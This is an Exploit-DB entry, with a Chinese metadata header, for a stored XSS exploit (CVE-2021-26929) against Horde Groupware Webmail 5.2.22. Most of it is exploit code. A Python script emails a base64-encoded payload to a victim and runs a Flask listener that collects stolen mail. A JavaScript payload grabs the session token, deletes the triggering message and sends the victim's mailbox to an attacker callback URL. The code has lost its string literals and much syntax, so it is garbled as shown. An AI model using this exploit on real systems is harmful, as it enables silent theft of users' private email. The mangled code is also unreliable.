标题: Horde Groupware Webmail 5.2.22 - Stored XSS EDB-ID: 49769 CVE: 2021-26929 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-04-15 漏洞利用脚本: # Exploit Title: Horde Groupware Webmail 5.2.22 - Stored XSS
# Author: Alex Birnberg
# Testing and Debugging: Ventsislav Varbanovski @nu11secur1ty
# Date: 04.14.2021
# Vendor: https://www.horde.org/apps/webmail
# Link: https://github.com/horde/webmail/releases
# CVE: CVE-2021-26929

[+] Exploit Source:
https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-26929

[Exploit Program Code]

#!/usr/bin/python3
# Author idea: Alex Birnberg
# debug nu11secur1ty 2021
 io
 os
 ssl
 sys
 json
 base64
 string
 random
 logging
 smtplib
 sqlite3
 hashlib
 zipfile
 argparse
 flask  Flask request Response
 urllibparse  urlparse

 
     self args
        
          ospathexists
             sqlite3connect  conn
                cursor  conncursor
                cursorexecute
                conncommit
        
        o  urlparseargssmtp
        selfsmtp  
             oschemelower  
             ohostname  
             oport    oschemelower    
               ousername
               opassword
        
        
             selfsmtp
                context  sslcreate_default_context
                contextverify_mode  sslCERT_OPTIONAL 
                contextcheck_hostname  
                selfserver  smtplibSMTP_SSLselfsmtp selfsmtp contextcontext
            
                selfserver  smtplibSMTPselfsmtp selfsmtp
         Exception  e
            e
            
            exit
        
            selfserverloginselfsmtp selfsmtp
        
            
        
        o  urlparseargscallback
        selfcallback  
             oscheme onetloc
             joinrandomchoicestringascii_letters  i  
        
        
        o  urlparseargslistener
        selflistener  
             oschemelower  
             ohostname  
             oport  
             joinrandomchoicestringascii_letters  i  
        
        
        selftarget  argstarget
        
        selfsubject  argssubject  
        
        selfenv  
        selfenv  argsmailbox  
        selfenv  selfcallback selfcallback
    
     self
        
        selfbypass_auth        
        

     self
         
            f  
            content  jsondumpsselfenv fread
            fclose
             content

         
            response  Response
             sqlite3connect  conn
                
                     requestfilesget
                        filename  requestfilesgetfilenamereplace 
                        content  requestfilesgetstreamread
                        zipdata  ioBytesIO
                        zipdatawritecontent
                        content  zipfileZipFilezipdata
                        content  contentfilenameread
                        mail_hash   hashlibsha1contentdigest
                        mail_hash                        
                        cursor  conncursor                    
                        cursorexecute mail_hash content
                
                    
            responseheaders  
             response

        payload  selfcallback selflistener
        payload  base64b64encodepayloadencodedecode
        content  selfsubject selfsmtp selftarget
        
        content  base64b64encodepayloadencodedecode
        selfserversendmailselfsmtp selftarget content
        app  Flask__name__
        appadd_url_ruleselflistener  horde
        appadd_url_ruleselfcallback  callback methods
        logginggetLoggersetLevelloggingERROR
        cli  sysmodules
        clishow_server_banner   x 
        
             selflistener
                apprunhostselflistener portselflistener ssl_context 
            
                apprunhostselflistener portselflistener
        
            

 __name__  
    parser  argparseArgumentParser
    parseradd_argument  required metavar
    parseradd_argument  required metavar
    parseradd_argument  metavar
    parseradd_argument  required metavar
    parseradd_argument  metavar
    parseradd_argument  metavar
    args  parserparse_args
    exploit  Exploitargs
    exploittrigger
hordejs

  
    constructor 
        thisbasepath  documentlocationpathnamesubstring documentlocationpathnameindexOf
    

    trigger 
        thismailbox  thisget_mailbox
        thisbuid  thisget_buid
        thistoken  thisget_token
        thisauto_delete
        then  
            thisexfiltrate_emailsmailbox envmailbox
        
    

     auto_delete 
        let params  new URLSearchParams
        paramsappend thistoken
        paramsappend thismailbox
        paramsappend thisbuid
         fetchthisbasepath   
            method 
            body params
        
        then  
            let params  new URLSearchParams
            paramsappend thistoken
            paramsappend thismailbox
             fetchthisbasepath   
                method 
                body params
            
            then  
                 documentgetElementById  null 
                    documentgetElementByIdclick
                
            
        
    

     exfiltrate_emailsargs 
        let mbox_list    thisget_mailbox  
         argsmailboxtoUpperCase   
            let params  new URLSearchParams
            paramsappend 
            paramsappend 
            paramsappend thistoken
            let mailboxes   fetchthisbasepath   
                method 
                body params
            
            thenresponse  
                 responsetext
            
            thendata  
                 JSONparsedatasubstring datalength         
            
            mailboxestasksaforEachmailbox  
                 mailboxltoUpperCase  argsmailbox 
                     mbox_list  undefined 
                        mbox_list    mailboxm  
                    
                
            
        
        let    fetchthisbasepath    mbox_list    thistoken  
        thenresponse  
             responseblob responseheadersget
        
        let filename  
        filename  filenamesubstringfilenameindexOf   filenamelength  
           
        let formData  new FormData
        formDataappend  filename
        fetchwindowenvcallback 
            method 
            body formData
        
    

    get_token 
        let link
        let token
         documentgetElementsByClassNamelength   
            link  documentgetElementsByClassNamehref
        
          documentgetElementById  null 
            link  documentgetElementByIdgetElementsByTagNamehref
        
         
            link  locationhref
        
         linkmatch  null 
            token  linkmatch
        
         token  undefined  linkmatch  null 
            token  linkmatch
        
         token
    

    get_mailbox 
         windowDimpBase  undefined 
             DimpBaseviewportgetSelectionDimpBaseppVP_viewsearch
                VP_id 
                    equal  DimpBaseppVP_id 
                
            getfirstVP_view
        
          locationhrefmatch  null 
             locationhrefmatch
        
          locationhrefmatch  null 
             locationhrefmatch
        
    

    get_buid 
         locationhrefmatch  null 
             locationhrefmatch
        
          locationhrefmatch  null 
             locationhrefmatch
        
    


const exploit  new Exploit
exploittrigger URL: https://www.exploit-db.com/exploits/49769